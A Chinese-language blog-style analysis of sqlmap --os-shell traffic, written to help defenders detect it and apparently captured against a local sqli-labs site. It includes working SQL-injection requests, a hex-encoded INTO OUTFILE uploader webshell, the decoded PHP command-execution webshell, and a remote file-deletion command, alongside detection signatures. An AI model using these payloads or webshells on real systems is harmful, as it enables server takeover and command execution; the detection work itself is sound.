入侵檢測之sqlmap惡意流量分析
0x01 –os-shell攻擊流程
- 測試鏈接是否能夠訪問
- 判斷操作系統版本
- 傳遞一個數組,嘗試爆絕對路徑
- 指定上傳路徑
- 使用lines terminated by 寫入一個php文件,該php文件可以進行文件上傳
- 嘗試找到上傳的文件的訪問路徑;直到找到正確的路徑
- 通過上傳的臨時文件,嘗試上傳另外一個php文件, 該文件可以進行命令執行
- 嘗試進行命令執行 echo command execution test
- 直接輸入對應的命令即可
- 退出–os-shell后刪除命令馬
0x02 抓包分析
首先就是測試鏈接是否能夠訪問

然后判斷操作系統
GET /Less-1/?id=-8168%20UNION%20ALL%20SELECT%20NULL%2CCONCAT%280x71786a7171%2C%28CASE%20WHEN%20%280x57%3DUPPER%28MID%28%40%40version_compile_os%2C1%2C1%29%29%29%20THEN%201%20ELSE%200%20END%29%2C0x7170627671%29%2CNULL--%20- HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close
這里把參數值解碼后,是這樣一段SQL語句
-8168 UNION ALL SELECT NULL,CONCAT(0x71786a7171,(CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END),0x7170627671),NULL-- -

接著傳遞一個數組,嘗試爆絕對路徑,這都是老版本的辦法了,現在行不通,這個可以當作一個行為特征來標記一下
GET /Less-1/?id[]=1 HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close
等我們指定完上傳路徑后, sqlmap會使用lines terminated by 寫入一個php文件, 該php文件可以進行文件上傳, 它先傳一個小馬, 再傳一個命令執行馬, 其實是留了一手的, 避免命令馬直接被殺掉
GET /Less-1/?id=-9439%20OR%201550%3D1550%20LIMIT%200%2C1%20INTO%20OUTFILE%20%27E%3A%2FServer%2Fphpstudy_pro%2FWWW%2Fsqli-labs-master%2FLess-1%2Ftmpuobmp.php%27%20LINES%20TERMINATED%20BY%200x3c3f7068700a69662028697373657428245f524551554553545b2275706c6f6164225d29297b246469723d245f524551554553545b2275706c6f6164446972225d3b6966202870687076657273696f6e28293c27342e312e3027297b2466696c653d24485454505f504f53545f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c652824485454505f504f53545f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d656c73657b2466696c653d245f46494c45535b2266696c65225d5b226e616d65225d3b406d6f76655f75706c6f616465645f66696c6528245f46494c45535b2266696c65225d5b22746d705f6e616d65225d2c246469722e222f222e2466696c6529206f722064696528293b7d4063686d6f6428246469722e222f222e2466696c652c30373535293b6563686f202246696c652075706c6f61646564223b7d656c7365207b6563686f20223c666f726d20616374696f6e3d222e245f5345525645525b225048505f53454c46225d2e22206d6574686f643d504f535420656e63747970653d6d756c7469706172742f666f726d2d646174613e3c696e70757420747970653d68696464656e206e616d653d4d41585f46494c455f53495a452076616c75653d313030303030303030303e3c623e73716c6d61702066696c652075706c6f616465723c2f623e3c62723e3c696e707574206e616d653d66696c6520747970653d66696c653e3c62723e746f206469726563746f72793a203c696e70757420747970653d74657874206e616d653d75706c6f61644469722076616c75653d453a5c5c5365727665725c5c70687073747564795f70726f5c5c5757575c5c73716c692d6c6162732d6d61737465725c5c4c6573732d315c5c3e203c696e70757420747970653d7375626d6974206e616d653d75706c6f61642076616c75653d75706c6f61643e3c2f666f726d3e223b7d3f3e0a--%20- HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close
解碼hex加密的內容, 是這樣的
// 判斷是否有一個upload的值傳過來if (isset($_REQUEST["upload"])){ // 將uploadDir賦值給$dir, 也就是我們傳遞的絕對路徑 $dir = $_REQUEST["uploadDir"]; // 判斷php版本是否小于4.1.0 if (phpversion() < '4.1.0') { $file = $HTTP_POST_FILES["file"]["name"]; @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die; } else { // 取文件名賦值給$file $file = $_FILES["file"]["name"]; // 完成上傳動作 @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die; } // 給權限 @chmod($dir . "/" . $file, 0755); echo "File uploaded";}else{ echo ""PHP_SELF"] . " method=POST enctype=multipart/form-data>sqlmap file uploader
to directory: ";}
然后嘗試找到上傳的文件的訪問路徑;直到找到正確的路徑,每次都會里面跳一級

這一步就是上傳真正的命令馬

分析一下這段代碼
// 將傳遞的cmd的值賦值給$c$c = $_REQUEST["cmd"];// 設置超時時間@set_time_limit(0);// 設置客戶端斷開連接時是否中斷腳本的執行@ignore_user_abort(1);// 設置php.ini中max_execution_time的值為0@ini_set("max_execution_time", 0);// 獲取禁用函數$z = @ini_get("disable_functions");if (!empty($z)){ // 如果$z不為空, 那么就將$z中的, 替換為, 并且重組成一個數組, 且去掉兩端的空白字符 $z = preg_replace("/[, ]+/", ',', $z); $z = explode(',', $z); $z = array_map("trim", $z);}else{ $z = array();}// 將命令與 2>&1進行拼接$c = $c . " 2>&1";function f($n){ // 調用$z global $z; // 判斷參數$n是否不在數組$z中 return is_callable($n) and !in_array($n, $z);}/* 大致干了三件事 * 1.打開緩沖區 * 2.執行命令并將結果賦值給$w * 3.關閉緩沖區并*/if (f("system")){ ob_start(); system($c); $w = ob_get_clean();}elseif (f("proc_open")){ $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t); $w = NULL; while (!feof($t[1])) { $w .= fread($t[1], 512); } @proc_close($y);}elseif (f("shell_exec")){ $w = shell_exec($c);}elseif (f("passthru")){ ob_start(); passthru($c); $w = ob_get_clean();}elseif (f("popen")){ $x = popen($c, r); $w = NULL; if (is_resource($x)) { while (!feof($x)) { $w .= fread($x, 512); } } @pclose($x);}elseif (f("exec")){ $w = array(); exec($c, $w); $w = join(chr(10), $w) . chr(10);}else{ $w = 0;}// 輸出命令echo "
$w
";?>
然后, 嘗試進行命令執行 echo command execution test

最后, 攻擊者退出–os-shell后, sqlmap會進行一個簡單的清理痕跡的操作, 刪掉執行命令的文件
GET /Less-1/tmpbqsur.php?cmd=del%20%2FF%20%2FQ%20E%3A%5CServer%5Cphpstudy_pro%5CWWW%5Csqli-labs-master%5CLess-1%5Ctmpuajwx.php HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
解碼
GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1 Cache-Control: no-cache User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org) Host: www.sqli.com Accept: */* Accept-Encoding: gzip, deflate Connection: close
0x03 流量特征分析
一、靜態分析
首先最最最特征的肯定就是User-Agent了, 這里如果沒有做偽裝, 基本上就是sqlmap的流量, 直接攔截掉就好了

接著就是代碼的靜態特征, sqlmap首先上傳的上傳馬, 會有一個相當明顯的特征
echo " <form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data> <input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploaderb><br> <input name=file type=file><br>to directory: <input type=text name=uploadDir value=E:\\Server\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload> form>";
這是一段上傳的from表單, 特征非常明顯, 基本上文件內容存在這一段代碼, 就可以認定為是sqlmap上傳的后門, 直接殺掉就好了
接著看一下命令執行的小馬, 這個特征更加明顯, 同一個文件中, 竟然出現了所有的命令執行函數, 不說出現所有的, 正常文件出現一個都不應該, 直接殺掉
if (f("system")){ ob_start(); system($c); $w = ob_get_clean();}elseif (f("proc_open")){ $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t); $w = NULL; while (!feof($t[1])) { $w .= fread($t[1], 512); } @proc_close($y);}elseif (f("shell_exec")){ $w = shell_exec($c);}elseif (f("passthru")){ ob_start(); passthru($c); $w = ob_get_clean();}elseif (f("popen")){ $x = popen($c, r); $w = NULL; if (is_resource($x)) { while (!feof($x)) { $w .= fread($x, 512); } } @pclose($x);}elseif (f("exec")){ $w = array(); exec($c, $w); $w = join(chr(10), $w) . chr(10);}
二、動態分析
首先可以對數據庫的行為做限制, 因為–os-shell主要還是在于執行into outfile()函數, 而執行這個函數有三個必要條件:
- 當前數據庫用戶為root權限
- 數據庫中source_file_priv 的值不能為null
- 可以使用單雙引號
這三點缺一不可, 如果不幸的被寫入了shell, 那么可以先參照靜態分析去過濾一下, 其次就是對于行為的過濾, 當sqlmap成功寫入命令馬的時候, 會執行一條測試語句
GET /Less-2/tmpbvnbm.php?cmd=echo%20command%20execution%20test HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
如果攻擊者沒有進行過流量分析, 是很難發現這個小細節的, 所以當任何剛生成的文件執行echo command execution test時, 就可以認定這是sqlmap的命令馬, 殺之即可

再就是sqlmap會判斷當前的操作系統, 而判斷操作系統就會使用 @@version_compile_os
這個函數, 所以當流量中包含這個函數的請求, 那就是sqlmao發出的請求, 直接攔截掉就好了

最后就是刪除文件的操作了, 一般被刪除的命令馬跟上傳馬在同級目錄下, 且文件名默認都以tmpxxx.php命名, 溯源起來還是比較方便的,
GET /Less-1/tmpbqsur.php?cmd=del /F /Q E:\Server\phpstudy_pro\WWW\sqli-labs-master\Less-1\tmpuajwx.php HTTP/1.1Cache-Control: no-cacheUser-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)Host: www.sqli.comAccept: */*Accept-Encoding: gzip, deflateConnection: close
外加一個傳數組爆絕對路徑的操作, 數組的值默認為1

0x04 sqlmap特征總結
靜態特征
- user-agent特征 - from表單特征 - 命令執行函數特征
動態特征
- 數組報錯特征 - @@version_compile_os特征 - 測試命令執行語句特征 - 調用系統命令特征